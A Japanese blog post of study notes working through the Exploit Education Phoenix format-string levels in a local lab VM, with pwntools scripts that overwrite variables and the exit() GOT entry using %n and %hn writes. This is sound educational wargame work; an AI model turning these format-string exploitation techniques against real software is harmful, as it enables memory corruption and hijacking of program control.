眠いので寝ます

お勉強のメモを置いていこうと思いまふ

Exploit Education Phoenix-Format編

前回の続きで、今回はFormat編

環境はサイトにあるqemu環境を持ってきた。format編は全て64bit環境で実行した。バイナリは/opt/phoenix/amd64下にある。

Format-Zero

fgetsでbuffernにサイズ分入力を受け取り、その後locals.destにbufferの内容をsprintfしてあげる。
ここにオーバーフローなどは無く、stack上でlocals.destの下に配置されているlocals.changemeを書き換えるのが目標なので、bufferをsprintfした時に33文字以上をlocals.destに書き込めれば良い。
改行も含めて"%32x\n"をbufferに書き込めば、changemeには0xaが書き込まれることになる。もちろん32以上であればなんでもいいし、format識別子もxじゃなくてもよい。

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-zero 
Welcome to phoenix/format-zero, brought to you by https://exploit.education
%31x
Uh oh, 'changeme' has not yet been changed. Would you like to try again?

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-zero 
Welcome to phoenix/format-zero, brought to you by https://exploit.education
%32x
Well done, the 'changeme' variable has been changed!

Format-One

Format-Zeroとほとんど一緒で、locals.changemeの書き換える内容を指定されているだけ。

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
hoge
Uh oh, 'changeme' is not the magic value, it is 0x00000000

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
%32xAABB
Uh oh, 'changeme' is not the magic value, it is 0x42424141

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
%32xlOvE
Well done, the 'changeme' variable has been changed correctly!

Format-Two

main関数のargv[1]をstrncpyで変数bufferにコピーする。その後printf(buffer)をするのでここにFSB脆弱性がある。
目標はchangemeを書き換えること。ここで初めてFSBといえばお馴染みの%n識別子を使用する。%nについて知らない方はハリネズミ本などを参照していただきたい。ブログだとptr-yudai氏のブログなどがわかりやすい。bufのオフセットは12だが、なぜか%12$nのような表記が使えない。なので大人しく%xを並べる。changemeのアドレスは0x600af0である。またFSBで最初にやる間違い(少なくとも自分はよくミスっていた)として、payloadをchangemeのアドレス+"%12$n"のようにしてしまうことがあるが、changemeのアドレスは8byteで表すと必ずnull byteを含んでしまうので、肝心のprintfで"%12$n"まで出力されない。なので書き込みたいアドレスは最後にくっつけるように注意。

#format-two.py
from pwn import *

argv1 = "%x"*15
argv1 += "%n"
argv1 += p32(0x600af0)

p = process(['/opt/phoenix/amd64/format-two', argv1])
p.interactive()

64bitバイナリだが、p64()を使うとargvにnullバイトが連続するみたいな事で怒られたので、payloadの最後にchangemeのアドレスを置いてやる。そのためオフセットはずれて16になる。

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-two AAAA
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAABetter luck next time!

user@phoenix-amd64:~/workspace$ python format-two.py 
[+] Starting local process '/opt/phoenix/amd64/format-two': pid 18254
[*] Switching to interactive mode
[*] Process '/opt/phoenix/amd64/format-two' stopped with exit code 0 (pid 18254)
Welcome to phoenix/format-two, brought to you by https://exploit.education
0d0ffffe573ffffe50fffffe550ffffe550ffffe650400705ffffe6a840036878257825782578257825782578257825?
`Well done, the 'changeme' variable has been changed correctly!

Format-Three

read()で入力を読み込み、それをprintf()する。先ほど違うのは入力をread()で行なっている点とchangemeを書き換える内容が指定されているという点。%12$xなどの表記があいも変わらずできないので、コードはとても読みにくくなっている。FSBについてしっかり理解ができていれば、特に難しいこともないかと。僕のpayloadではchangemeにword(2byte)単位で書き込んでいる。過去に出題されたCTFでは出力できる文字数に制限があったりしたので%hn,%hhnを使っても書けるようにしておきたい。またbruteforceが必要な場面でも一回の攻撃にかかる時間が、より細かい単位で書き込めた方が短いので、そういう時にも役に立つ。

#format-three.py
from pwn import *

changeme = 0x600a90
offset = 12
padding = 20
target = 0x64457845
p = process(['/opt/phoenix/amd64/format-three'])

payload = "%20x"*(padding+offset-2)
payload += "%" +str(0x6445-20*(padding+offset-2))+ "x"
payload += "%hn"
payload += "%" +str(0x7845-0x6445)+ "x"
payload += "%hn"
payload += "A"*(8*padding - len(payload))
payload += p64(changeme+2)
payload += "A"*8
payload += p64(changeme)

p.recv()
p.sendline(payload)
p.interactive()

長いので出力はカット

Format-Four

format編も最後。
format-three同様にread()で読み込んだ値をprintfする。目標はソースコードに書かれたcongratulations()を呼ぶこと。
printf()の後にexit()が呼ばれてバイナリが終了するので、書き換え先はexit()のgotが良さそう。ただcongratulations()内でもexit()を読んでいるので、成功した場合はループする。

#format-four.py
from pwn import *

offset = 12
padding = 50
cong = 0x400644
got_exit = 0x6009f0
p = process(['/opt/phoenix/amd64/format-four'])

payload = "%90x"*(offset-1 + padding-1)
payload += "%" + str(0x10644- 90*(offset-1+padding-1)) + "x"
payload += "%hn"
payload += "%" + str(0x10040-0x644) + "x"
payload += "%hn"
payload += "%" + str(0x10000-0x40) + "x"
payload += "%hn%hn"
payload += "B"*(padding*8 - len(payload))
payload += p64(got_exit)
payload += "A"*8
payload += p64(got_exit+2)
payload += "A"*8
payload += p64(got_exit+4)
payload += p64(got_exit+6)

p.recv()
p.sendline(payload)
p.interactive()

まとめ

これにてfsbはおしまい
%12$xのような記法が使えないのは環境、libcの影響なんだろうか
次回はHeap編